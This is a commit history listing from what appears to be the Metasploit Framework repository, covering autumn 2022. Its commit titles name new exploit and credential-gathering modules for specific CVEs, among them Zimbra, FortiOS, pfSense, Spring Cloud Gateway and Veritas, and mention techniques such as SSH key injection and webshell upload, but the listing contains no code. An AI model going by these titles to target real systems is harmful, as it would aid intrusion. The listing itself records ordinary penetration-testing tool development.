Compare commits

..

560 Commits

Author SHA1 Message Date
Metasploit fab762abbc automatic module_metadata_base.json update 2022-10-20 10:01:43 -05:00
Christophe De La Fuente 43f7d7b73e Land #17098, Hikvision camera unauthenticated information disclosure 2022-10-20 16:20:12 +02:00
Metasploit 8f5fd09492 automatic module_metadata_base.json update 2022-10-20 08:32:36 -05:00
Christophe De La Fuente 4cfbae63ac Land #17114, Add exploit for CVE-2022-41352 (zimbra cpio) 2022-10-20 15:10:42 +02:00
Christophe De La Fuente c89569d88c Fix the doc to make msftidy_docs.rb happy 2022-10-20 14:33:40 +02:00
adfoster-r7 ee800db2fa Land #17161, Bump actions/checkout to version 3.x 2022-10-20 11:02:35 +01:00
adfoster-r7 1a00bb5f43 Land #17089, Bump actions/github-script to v6 2022-10-20 10:51:55 +01:00
Grant Willcox 3f6649982b Update additional .github files to use actions/checkout@v3 2022-10-19 12:59:32 -05:00
Ron Bowes d8a5629cf4 Add Zimbra-installation notes 2022-10-19 10:05:20 -07:00
Ron Bowes 56d6f7747b Remove some old code and update documentation with version info 2022-10-19 10:02:29 -07:00
Grant Willcox 2d2ab6b739 Bump actions/checkout to version 3.x to use NodeJS 16.x instead of deprecated NodeJS 12 2022-10-19 11:36:36 -05:00
Grant Willcox a4acd8a680 Land #17154, improve qualys import times 2022-10-19 10:44:22 -05:00
Metasploit 13cfdd0e44 automatic module_metadata_base.json update 2022-10-19 04:20:04 -05:00
Christophe De La Fuente 15d81ca04c Land #17135, Add namespace to identify.rb 2022-10-19 10:48:25 +02:00
Christophe De La Fuente c43272985e Land #17141, Zimbra Postfix priv esc 2022-10-19 10:33:37 +02:00
Metasploit a37d12f33b automatic module_metadata_base.json update 2022-10-18 18:32:15 -05:00
bwatters f901dba4f4 Land #17143, Added module for CVE-2022-40684
(FortiOS, FortiProxy, and FortiSwitchManager Authentication Bypass)

Merge branch 'land-17143' into upstream-master
2022-10-18 18:08:52 -05:00
Jeffrey Martin 016a1c9da9 one more safer access 2022-10-18 15:02:58 -05:00
Jeffrey Martin 7b9ed4a1da corrections to reference IDs 2022-10-18 14:57:44 -05:00
Ron Bowes 9a35a5c8dd Post patch info 2022-10-18 10:12:54 -07:00
Ron Bowes 6bdf0da994 Add a sanity check before generating the payload - prevents a confusing error if the server is down 2022-10-18 10:09:51 -07:00
Ron Bowes 61abcc008f Merge pull request #1 from cdelafuente-r7/zimbra_postfix_doc_fix
Zimbra Postfix LPE doc fix
2022-10-18 09:27:44 -07:00
Grant Willcox 781ee000d9 Land #17157, Check global LHOST before generating it from RHOSTS 2022-10-18 10:49:06 -05:00
Christophe De La Fuente fa67b6973d Documentation fix to follow the template 2022-10-18 16:09:57 +02:00
Matthew Dunn c0403af25e Address two more imports, use described_class per review 2022-10-18 08:47:24 -04:00
Heyder Andrade 1804e5ab60 Update modules/exploits/linux/http/fortinet_authentication_bypass_cve_2022_40684.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-10-18 00:51:28 +02:00
Ron Bowes dea3f72f6b Resolve feedback - get rid of unnecessary directory, add CVE number, let the user choose the path 2022-10-17 15:00:56 -07:00
Matthew Dunn aab064779c Check the global LHOST before picking it from RHOST 2022-10-17 17:59:58 -04:00
Matthew Dunn 1e50ba3415 Move to Hashes module, address requested changes
Fix rubocop

Move identify to hashes module up one layer, use full reference to identify_hash instead of full include

Fix SMTP require

Remove hashes require statement

Remove hashes require statement

Remove hashes require statement

Remove hashes require statement

Address remaining requested changes, reference constants directly

Add all the missing direct references

Co-Authored-By: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-17 17:28:31 -04:00
Matthew Dunn 8b5223f53b Modularize Identify, Update referenced use cases
Modularize Identity.rb

Include new module style Identify

Update juniper.rb

Fix inadvertent change

Add new module to identify spec

Put the require back

Put back require line for juniper
2022-10-17 17:28:30 -04:00
Heyder Andrade 26ed9bb053 Update documentation/modules/exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684.md
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-10-17 22:49:57 +02:00
Heyder Andrade 67bd118dd5 Update modules/exploits/linux/http/fortinet_authentication_bypass_cve_2022_40684.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-10-17 22:49:48 +02:00
Heyder Andrade 7cdf8e181f Update modules/exploits/linux/http/fortinet_authentication_bypass_cve_2022_40684.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-10-17 22:49:34 +02:00
Jeffrey Martin 82bd12566f remove constant not used 2022-10-17 15:19:35 -05:00
Jeffrey Martin 2022b507a6 Qualys parser now uses 'Nokogiri::XML'/xpath 2022-10-17 15:03:54 -05:00
Jeffrey Martin 8cc21f9b01 improve qualys import times
When importing data from recent Qualys reports many `RESULT` tags contain
extra long lines and significant content that result in extremely long processing
times when parsed by REXML. By removing all `RESULT` tags not currently processed
during import the time to process data can be significantly improved.
2022-10-17 13:14:55 -05:00
Grant Willcox d3486013f8 Land #17140, Update outdated Alpine docker image to 3.12 to 3.15 and bump Ruby version to 3.0.4 2022-10-17 11:44:57 -05:00
H00die.Gr3y 4615e2f9fb Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-17 19:54:26 +04:00
H00die.Gr3y bc6d63e6e8 Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-17 19:54:18 +04:00
Heyder Andrade b3a0d70688 Added prefer admin
- One can now say whether the auto-detect user method should prefer to return the admin or other random one.
2022-10-17 15:16:16 +02:00
Heyder Andrade 5d99428c1d Changed SSH key algorithm and fix bug on cleanup
- Prefer to use EC over RSA, only because it is smaller
- When there was no previous ssh key for such user the cleanup method was trying to overwrite the one on the index 0
2022-10-17 14:40:51 +02:00
Heyder Andrade 71a1c60d49 Sticking to the striced needed
The port in the Forwarded HTTP header can be random.
2022-10-17 13:01:13 +02:00
Heyder Andrade aece783cee Added reference to user auto-detect method 2022-10-17 01:11:27 +02:00
Heyder Andrade 422675a0c0 Fixed code-style offenses 2022-10-17 01:08:57 +02:00
Heyder Andrade 6140f0bc4d Added method to auto-detect target user 2022-10-17 00:44:46 +02:00
Heyder Andrade 9241c515d7 Try to cleanup only if there was ssh connection 2022-10-16 18:50:39 +02:00
Heyder Andrade 6cfb277c90 Added cleanup method 2022-10-16 15:09:45 +02:00
Heyder Andrade 0b09e564f1 Improved documentation 2022-10-16 14:25:54 +02:00
Heyder Andrade 835b44ca7a Added documentation 2022-10-16 13:42:21 +02:00
Heyder Andrade 45149c144c Code cleanup and ssh key password
- cleaned up some unecessary code
- add option to the user set an encrypted custom ssh key
2022-10-16 13:32:25 +02:00
Heyder Andrade 95b1bffdea Do not overwrite the first two keys 2022-10-15 19:04:53 +02:00
h00die-gr3y ab6ede8ded version based on cdelafuente-r7 comments 2022-10-15 10:45:40 +00:00
Heyder Andrade 47f6971651 It is working but need some improvements 2022-10-15 04:10:12 +02:00
Ron Bowes a2a2dcbf6f Check in zimbra_postfix_priv_esc.rb 2022-10-14 13:21:41 -07:00
Heyder Andrade 31404116a5 Rename module 2022-10-14 22:19:43 +02:00
Patryk Krawaczyński ed5efdf041 Alpine 3.12 - Support ended 5 months and 2 weeks ago (01 May 2022)
Update to 3.15 - Support ends in 1 year (01 Nov 2023).
2022-10-14 21:07:57 +02:00
Heyder Andrade f643bba09a Added module for CVE-2022-40684 2022-10-14 18:36:18 +02:00
H00die.Gr3y 2e9a235ece Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-14 18:47:40 +04:00
H00die.Gr3y 32acf526b0 Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-14 18:14:33 +04:00
H00die.Gr3y ade8b87e26 Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-14 18:12:12 +04:00
Metasploit 49f3e0d6ec automatic module_metadata_base.json update 2022-10-13 20:02:13 -05:00
adfoster-r7 6a682f4fe6 Land #16982, Update Dell iDRAC login scanner to work with v8 and v9 2022-10-14 01:40:35 +01:00
Metasploit 8e08189921 Bump version of framework to 6.2.23 2022-10-13 12:15:51 -05:00
Metasploit be2f9684ec automatic module_metadata_base.json update 2022-10-12 21:51:32 -05:00
Grant Willcox 2af0a3088b Land #17032, Add module for pfSense pfBlockNG unauth RCE as root - CVE-2022-31814 2022-10-12 21:28:01 -05:00
Grant Willcox a3e32ffafa Add TARGET 0 to documentation 2022-10-12 20:00:33 -05:00
Grant Willcox e9f54aa5b8 Update documentation with better wording, and add randomization of parameter name to module along with cleanup code for deleting uploaded files 2022-10-12 19:16:52 -05:00
Grant Willcox 44271c529f Update code to include defaults that work with standard application 2022-10-12 19:16:52 -05:00
Jack Heysel 9652823393 Reverted check method to upload shell 2022-10-12 19:16:44 -05:00
Jack Heysel f6a36a432c Shortened shellcode 2022-10-12 19:16:43 -05:00
Jack Heysel ffd1d00991 Updated WEBSHELL_NAME option description 2022-10-12 19:16:36 -05:00
Jack Heysel b256a521c8 Changed payload to POST 2022-10-12 19:16:29 -05:00
Jack Heysel 3c27c8e5aa Condensed payload, changed base64 encoding to hex 2022-10-12 19:12:35 -05:00
Jack Heysel e4eac96b4b Add Module for pfSense pfBlockerNG unauth RCE as root 2022-10-12 19:12:22 -05:00
Metasploit b701bffb4b automatic module_metadata_base.json update 2022-10-12 12:23:12 -05:00
Grant Willcox f92d913f0c Land #17116, Adding CVE-2022-22947 Spring Cloud Gateway RCE Exploit 2022-10-12 11:53:47 -05:00
bwatters 4aa2b76bde Land #17092, netlm_downgrade Cleanup and support non-Meterpreter sessions
Merge branch 'land-17092' into upstream-master
2022-10-12 11:40:20 -05:00
Grant Willcox 487a26ee0f Add in some missing info to examples, set default port, and update IOCs to note we include some IOCs in the logs 2022-10-12 11:19:47 -05:00
Ayantaker 9abaa00b9e Adding some changes to documentation as per review comments 2022-10-12 11:36:35 -04:00
Ayantaker e75438d0b2 Documentation fix and minor fixes
Fixed the documentation according to msftidy's suggestion and removed a few unessary parts of code
2022-10-11 18:17:52 -04:00
Grant Willcox 45aa09411e First round of edits from review 2022-10-11 15:46:04 -05:00
Jeffrey Martin 2097ff132c Land #16987, guard possible RubySMBError condition 2022-10-11 13:12:29 -05:00
Grant Willcox c47ff16107 Land #17123, netrc and fetchmailrc docs 2022-10-11 11:16:48 -05:00
Grant Willcox c587360e90 Minor typo fixes 2022-10-11 10:52:42 -05:00
h00die-gr3y ae0f94beb7 Addressed all commit suggestions 2022-10-09 15:49:58 +00:00
H00die.Gr3y 462b80cf6f Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:59:59 +04:00
H00die.Gr3y 2b4785915d Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:59:40 +04:00
H00die.Gr3y 7bae00975a Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:59:23 +04:00
H00die.Gr3y c280e2d57b Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:59:08 +04:00
H00die.Gr3y c1dd09771f Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:58:36 +04:00
H00die.Gr3y afb87ee87d Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:58:28 +04:00
H00die.Gr3y b37c26da87 Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:58:15 +04:00
H00die.Gr3y b11dbc90a9 Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:58:04 +04:00
H00die.Gr3y cbab556e7d Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:57:54 +04:00
H00die.Gr3y 784393e41e Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:57:45 +04:00
H00die.Gr3y 11f5cff45d Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:57:30 +04:00
H00die.Gr3y 316c3f5302 Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:57:17 +04:00
H00die.Gr3y a14ded588b Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:57:04 +04:00
h00die 69d1497ae1 netrc and fetchmailrc docs 2022-10-08 10:43:25 -04:00
Metasploit c2e5931248 automatic module_metadata_base.json update 2022-10-07 16:16:18 -05:00
Ayan Saha f67a7f395f Modified unix_cmd payload as per suggestion
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-10-08 02:26:11 +05:30
Ayan Saha ec57260c66 Adding suggested code
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-10-08 02:25:35 +05:30
bwatters ef0ca2edbb Land #17057, Msf::Post::Windows::ExtAPI: Remove load_extapi method
Merge branch 'land-17057' into upstream-master
2022-10-07 15:54:52 -05:00
Metasploit bd26085425 automatic module_metadata_base.json update 2022-10-07 14:13:34 -05:00
Grant Willcox b626278c48 Land #17118, Fixed "Manage Engine" and Updated the link 2022-10-07 13:52:41 -05:00
JustAnda7 412a07df54 Fixed #16674 2022-10-07 14:35:21 -04:00
Ayantaker 32db330ff6 Fixing the rubocop issue 2022-10-07 11:08:01 -04:00
JustAnda7 36f4c702b3 Fixed #16674 2022-10-07 01:59:52 -04:00
Metasploit 134231bec4 automatic module_metadata_base.json update 2022-10-06 16:54:22 -05:00
Jack Heysel 6db965cf72 Land #17075, windows_secrets_dump non-admin fix
The module was failing early for non-administrative users.
This fixes the issue so the module now throws warnings where
it was previously failing early.
2022-10-06 17:31:15 -04:00
Ayantaker 910ee931c2 Fixing the description of the module 2022-10-06 15:55:32 -04:00
Ayantaker c8cd6a7864 Adding CVE-2022-22947 Spring Cloud Gateway RCE Exploit
CVE-2022-22947 exploits Spring Cloud Gateway. The module has been tested with Spring Cloud gateway version 3.1.0 on Linux kali 5.18.0-kali5-amd64
2022-10-06 15:48:36 -04:00
Ron Bowes 48dd4693df Add docs for CVE-2022-41352 (zimbra cpio), and fix some text 2022-10-06 10:46:48 -07:00
Ron Bowes 08c29f7f28 Add exploit for CVE-2022-41352 (zimbra cpio) 2022-10-06 10:23:53 -07:00
Metasploit edfc68a809 Bump version of framework to 6.2.22 2022-10-06 12:10:14 -05:00
bwatters fc6cdd2a92 Land #17072, Add robustness to shell command token delimiting
Merge branch 'land-17072' into upstream-master
2022-10-06 10:28:14 -05:00
bwatters c77b35d544 remove module_function declarations 2022-10-06 10:21:36 -05:00
Metasploit b6cdb6785a automatic module_metadata_base.json update 2022-10-05 13:40:34 -05:00
Jack Heysel 7e54725a3a Merge branch 'master' of github.com:rapid7/metasploit-framework into upstream-master 2022-10-05 14:19:37 -04:00
Jack Heysel 60c21da50e Land #17009, Add MobaXterm cred gather module
This module determines if MobaXterm is installed and if
it is dumps all saved session information from the target
2022-10-05 14:14:27 -04:00
Metasploit 54c71b7d44 automatic module_metadata_base.json update 2022-10-05 13:13:18 -05:00
adfoster-r7 c595c5cc8b Land #17108, Update Azure AD Scanner Error Code Check for Disabled Accounts 2022-10-05 18:52:39 +01:00
三米前有蕉皮 9155f42553 Update modules/post/windows/gather/credentials/moba_xterm.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2022-10-06 01:39:28 +08:00
Matthew Dunn 774f9c6e48 Use the right quotation marks 2022-10-05 13:19:36 -04:00
Matthew Mathur 24e1a026d4 Update locked error message
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-10-05 13:03:34 -04:00
Metasploit 41ee2596d6 automatic module_metadata_base.json update 2022-10-05 06:00:11 -05:00
adfoster-r7 46910b9390 Land #17105, set keep_cookies value to boolean true instead of string true 2022-10-05 11:37:37 +01:00
Gábor Lipták 548c3408a8 Bump actions/github-script to v6
Signed-off-by: Gábor Lipták <gliptak@gmail.com>
2022-10-04 19:47:20 -04:00
Matthew Dunn 4a2d485228 Update error conditions to include account disablement 2022-10-04 16:57:59 -04:00
Metasploit a73461e96b automatic module_metadata_base.json update 2022-10-04 13:36:46 -05:00
Jack Heysel 0145264046 Land #17093, add Enlightenment priv esc module
This PR adds a local priv esc for Enlightenment on Ubuntu
which exploit a simple cmd injection
2022-10-04 14:09:18 -04:00
Metasploit 911ecd0256 automatic module_metadata_base.json update 2022-10-04 12:04:11 -05:00
space-r7 63af4e3702 Land #17067, add remote mouse rce 2022-10-04 11:40:33 -05:00
h00die 06aefb630a string true to bool true 2022-10-03 19:50:04 -04:00
Metasploit 87fa4868cc automatic module_metadata_base.json update 2022-10-03 16:25:05 -05:00
Jack Heysel 17b884b2d4 Merge branch 'master' into upstream-master 2022-10-03 17:01:51 -04:00
Jack Heysel edc0c622fc Land #17099, Wordpress Elementor plugin RCE
This PR adds a new authenticated exploit module against
3 versions of Elementor, a plugin for Wordpress.
2022-10-03 16:59:38 -04:00
h00die b7073df1e0 review comments 2022-10-03 16:53:14 -04:00
Metasploit d471ebe0ac automatic module_metadata_base.json update 2022-10-03 15:33:56 -05:00
bwatters 052d233bd9 Land #17006, Gather_RedisDesktopManager_Password
Merge branch 'land-17006' into upstream-master
2022-10-03 15:10:30 -05:00
h00die 68b2aec6fb review comments 2022-10-03 15:25:53 -04:00
h00die fffc080286 use vars_form_data 2022-10-03 14:43:12 -04:00
Christophe De La Fuente 117d7026e4 Fix from code review 2022-10-03 10:41:15 +02:00
h00die-gr3y 08640f0d65 Updated documentation 2022-10-02 20:20:20 +00:00
h00die c6e18ee469 cve-2022-1329 2022-10-02 15:59:58 -04:00
h00die-gr3y 7ae0f552f3 init commit module and documentation 2022-10-02 19:47:47 +00:00
h00die de184226f6 repeatable sessions 2022-10-01 11:30:21 -04:00
h00die e78babea90 cve-2022-37706 2022-10-01 11:24:29 -04:00
Metasploit 27f3acd620 automatic module_metadata_base.json update 2022-10-01 08:20:04 -05:00
adfoster-r7 1379682fc4 Land #17091, fix Stability/SideEffects/Reliability notes for several modules 2022-10-01 13:58:05 +01:00
bcoles 3ffbc99d9f netlm_downgrade: Cleanup and support non-Meterpreter sessions 2022-10-01 22:35:11 +10:00
bcoles 5f92d9418d Modules: Fix Stability/SideEffects/Reliability notes for several modules 2022-10-01 17:54:59 +10:00
bwatters c17c78bc0f Land #16995, Add TrustedSec's COFFLoader as Meterpreter Extension
Merge branch 'land-16995' into upstream-master
2022-09-30 14:14:39 -05:00
Metasploit 515f22e61b automatic module_metadata_base.json update 2022-09-30 13:57:33 -05:00
Jack Heysel 1c6ed2d9b4 Land #17070, Grafana auth bypass enhancement
Remove unneccessary use of len cookie
2022-09-30 14:32:44 -04:00
Metasploit 09cd857779 automatic module_metadata_base.json update 2022-09-30 13:12:55 -05:00
bwatters 7fb073f725 Land #17086, Bump payloads to 2.0.97
Merge branch 'land-17086' into upstream-master
2022-09-30 12:35:55 -05:00
Jack Heysel ae1af7f543 Merge branch 'master' into upstream-master 2022-09-30 13:21:50 -04:00
Jack Heysel 9ad513dade Land #16933, Thycotic Secret Server post module
This PR adds a post exploitation module that exports
and decrypts Thycotic Secret Server credentials
2022-09-30 13:16:05 -04:00
bwatters 2c93f16eed Bump payloads to 2.0.97 2022-09-30 12:10:15 -05:00
bwatters f4d1430656 Land #17085, Update ranking for nft_set_elem_init
Merge branch 'land-17085' into upstream-master
2022-09-30 12:04:41 -05:00
Metasploit eefae5a72c automatic module_metadata_base.json update 2022-09-30 10:17:18 -05:00
bwatters 89ef91c9cd Update ranking for nft_set_elem_init 2022-09-30 09:57:54 -05:00
adfoster-r7 d49603e3f9 Land #17078, Updates deprecated methods in rservices modules 2022-09-30 15:55:12 +01:00
cgranleese-r7 38b05cb802 Updates deprecated method in rlogin module 2022-09-30 14:28:42 +01:00
Ashley Donaldson ebb38454e4 Restored the _win32 and _unix functions used in Pro 2022-09-30 14:04:40 +10:00
cn-kali-team 331f8063d7 Only used in the current session 2022-09-30 11:38:34 +08:00
Metasploit 47ea5d9b1d Bump version of framework to 6.2.21 2022-09-29 19:43:39 -05:00
Metasploit f11382d7b1 automatic module_metadata_base.json update 2022-09-29 16:22:56 -05:00
bwatters 9e74b9887d Land #17048, enum_tokens: Cleanup
Merge branch 'land-17048' into upstream-master
2022-09-29 15:58:46 -05:00
h00die 1215bf7784 cve 2022-09-29 16:35:09 -04:00
h00die a31e3ea96b remote mouse comments 2022-09-29 16:21:59 -04:00
Metasploit b37fa31420 automatic module_metadata_base.json update 2022-09-29 14:17:30 -05:00
adfoster-r7 71231ec7e1 Land #17073, fix broken sessions in rservices modules 2022-09-29 19:55:49 +01:00
jheysel-r7 e06acc7df0 Update documentation/modules/post/windows/gather/credentials/thycotic_secretserver_dump.md 2022-09-29 13:59:01 -04:00
jheysel-r7 3b150ab3db Update modules/post/windows/gather/credentials/thycotic_secretserver_dump.rb 2022-09-29 13:58:54 -04:00
jheysel-r7 e8d4bcdcc6 Update documentation/modules/post/windows/gather/credentials/thycotic_secretserver_dump.md 2022-09-29 13:58:37 -04:00
jheysel-r7 30e27d832e Update modules/post/windows/gather/credentials/thycotic_secretserver_dump.rb 2022-09-29 13:58:30 -04:00
jheysel-r7 713d63654b Update documentation/modules/post/windows/gather/credentials/thycotic_secretserver_dump.md 2022-09-29 13:58:22 -04:00
Metasploit da5c97bf2c automatic module_metadata_base.json update 2022-09-29 10:10:30 -05:00
bwatters 76c6632305 Land #16673, qdPM 9.1 - Authenticated Remote Code Execution (CVE-2020-7246)
Merge branch 'land-16673' into upstream-master
2022-09-29 09:46:27 -05:00
Jeffrey Martin 7138c0ccc5 Land #17069, Remove sqlite3 Gemfile.lock linux 2022-09-29 09:28:25 -05:00
cn-kali-team 1d1308b870 Use the set master password only when using the specified path,Print once 2022-09-29 22:15:33 +08:00
Christophe De La Fuente 8f3c8a49ed Fix non-admin error
- Remove unecessary `print_error`
- Do not fail when an error occurs in the early processes and action is
  ALL or DOMAIN
- Print error about NoLMHash policy only once
- rubocop fixes
2022-09-29 12:47:14 +02:00
cgranleese-r7 730746f873 Fixes broken sessions in rservices modules 2022-09-29 09:44:29 +01:00
Ashley Donaldson f59a84ac5d Add robustness to detection and use of echo-y/non-echo-y shells 2022-09-29 11:00:56 +10:00
Ashley Donaldson af0832c3c3 Properly support Windows for detecting echo shells 2022-09-29 07:44:53 +10:00
ahzam b0e3e95439 Minor Refactor: Remove unneccessary len(cookie) 2022-09-29 01:46:07 +05:00
Metasploit e446fe4e83 automatic module_metadata_base.json update 2022-09-28 10:17:23 -05:00
Jack Heysel 379f303ea8 Land #17061, Mobile Mouse Server RCE
This PR includes a module that uses default
configuration in Unified Remote to spawn a
run prompt and return a shell.
2022-09-28 10:48:41 -04:00
adfoster-r7 97c99f46b6 Remove sqlite3 Gemfile.lock linux platform metadata 2022-09-28 15:45:15 +01:00
Metasploit 5dc791fb9a automatic module_metadata_base.json update 2022-09-27 17:01:50 -05:00
bwatters e27dbd2787 Land #16794,Add exploit for CVE-2022-34918
Merge branch 'land-16794' into upstream-master
2022-09-27 16:37:52 -05:00
h00die a070cd3a76 remote mouse comments 2022-09-27 16:52:42 -04:00
h00die 391a27b08c remote mouse rce 2022-09-27 16:37:42 -04:00
h00die 547ab00a0e review comments 2022-09-27 14:51:03 -04:00
Spencer McIntyre e8fb6e5e80 Add execute_bof documentation 2022-09-27 14:29:56 -04:00
Metasploit e4ed187ec2 automatic module_metadata_base.json update 2022-09-27 11:13:02 -05:00
cgranleese-r7 8cbcc2f473 Land #17064, Fix beagent sha auth linting 2022-09-27 16:50:23 +01:00
cn-kali-team 2b9ca50261 CONFIG_PATH 2022-09-27 23:39:54 +08:00
adfoster-r7 a05606ff33 Fix beagent sha auth linting 2022-09-27 16:23:05 +01:00
Metasploit 465ed19a7b automatic module_metadata_base.json update 2022-09-27 10:10:48 -05:00
bwatters 3170eac829 Land #16981, enum_domain_tokens: Cleanup and fix group member retrieval
Merge branch 'land-16981' into upstream-master
2022-09-27 09:47:34 -05:00
Metasploit 35de720371 automatic module_metadata_base.json update 2022-09-27 08:15:27 -05:00
adfoster-r7 2364d7074f Land #16960, Add ruby debug to Gemfile 2022-09-27 12:05:58 +01:00
adfoster-r7 2388f7e6c4 Land #17054, Fix Adapted Single (Unstaged) Payloads 2022-09-27 11:54:04 +01:00
adfoster-r7 c436f42c8c Land #16994, Fix Multiple Registry Related Issues 2022-09-27 11:43:02 +01:00
cn-kali-team 990f45295c fix x64 2022-09-27 08:39:35 +08:00
h00die bd586962e3 add check method 2022-09-26 17:51:07 -04:00
h00die a39b1c9fe5 msftidy_docs 2022-09-26 15:56:43 -04:00
h00die acba21a899 mobile mouse server exploit 2022-09-26 15:56:06 -04:00
h00die 61f576d3e1 mobile mouse server exploit 2022-09-26 15:45:42 -04:00
h00die 11a21737bc move print statement 2022-09-23 17:57:40 -04:00
Metasploit 4c218d733e automatic module_metadata_base.json update 2022-09-23 15:31:04 -05:00
Grant Willcox a48c2d9e72 Land #17033, hikvision password reset via inproper authorization logic - CVE-2017-7921 2022-09-23 15:01:04 -05:00
Grant Willcox 0908006466 Land #16985, wifi mouse rce - CVE-2022-3218 2022-09-23 14:46:49 -05:00
Grant Willcox 828cdb8862 Fix a typo 2022-09-23 14:20:18 -05:00
Grant Willcox b62f163696 Update documentation on module and exploit a little more to make things a bit clearer 2022-09-23 14:08:18 -05:00
Grant Willcox 2958a43a6a Update to reflect fact that bug is an improper authentication logic bug and to randomize password for auth parameter since it is ignored 2022-09-23 12:19:29 -05:00
Metasploit c96a0f8aa8 automatic module_metadata_base.json update 2022-09-23 11:55:16 -05:00
Jack Heysel 2b5e85cd27 Land #17012, Veritas Backup Agent RCE
This module exploits a chain of the vulnerabilities CVE-2021-27876,
CVE-2021-27877 and CVE-2021-27878 in Veritas Backup Exec Agent which
leads to remote code execution with privileges of system or root user
2022-09-23 12:31:46 -04:00
h00die-gr3y f2d357eda1 updated documentation with camera specifications 2022-09-23 09:38:37 -05:00
Grant Willcox edc37835e5 Add more nil checks in, update some of the check code to catch an edge case, update notes to account for indicators of compromise, and fix some extra issues noticed on second round of review 2022-09-23 09:38:35 -05:00
Grant Willcox 9abe1649ff Sanitize XML data prior to adding it to the XML POST request and also change the ID option to an integer from a string to match expectations 2022-09-23 09:38:35 -05:00
Grant Willcox 3ca34568c2 Clean up some of the documentation and module code and descriptions 2022-09-23 09:38:12 -05:00
h00die-gr3y 37caf6dae5 removed exploit information from info section 2022-09-23 09:38:11 -05:00
h00die-gr3y a4a12d06bc improved error handling 2022-09-23 09:38:10 -05:00
h00die-gr3y 5ed7ff7f52 init commit module and documentation 2022-09-23 09:38:05 -05:00
adfoster-r7 263355d320 Land #17056, Add git docs 2022-09-23 15:14:46 +01:00
space-r7 31e583ffc1 use permalinks on references 2022-09-23 08:53:33 -05:00
Metasploit b1a6d9d307 Bump version of framework to 6.2.20 2022-09-23 08:09:46 -05:00
Spencer McIntyre 0b759e5885 Land #17026, Update README.md and modernize links
Update README.md and modernize links and explanations
2022-09-23 08:51:36 -04:00
alex d5dcca899d Fix description scenario 2022-09-23 10:51:36 +03:00
bcoles 5531e3dcab Msf::Post::Windows::ExtAPI: Remove load_extapi method 2022-09-23 17:41:20 +10:00
c0rs 425d58dd15 fix check methos output in Veritas BE rce
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2022-09-23 09:46:52 +03:00
c0rs 04c897dbeb Fix description info Veritas BE RCE
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2022-09-23 09:45:18 +03:00
c0rs a8210bfe70 add autocheck to veritas BE RCE
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2022-09-23 09:44:39 +03:00
Metasploit 4a8bb68796 automatic module_metadata_base.json update 2022-09-22 19:51:37 -05:00
adfoster-r7 5e2a6c9dba Land #17015, improve http login result checks 2022-09-23 01:28:59 +01:00
Jeffrey Martin aeff76e0ca update set_sane_defaults 2022-09-22 18:48:49 -05:00
space-r7 7ae91a9a39 add to ignored wordlist, add syntax highlighting 2022-09-22 17:59:49 -05:00
Metasploit 9b3bd70086 automatic module_metadata_base.json update 2022-09-22 17:14:28 -05:00
space-r7 1885e23a84 add reference to Git docs 2022-09-22 16:53:37 -05:00
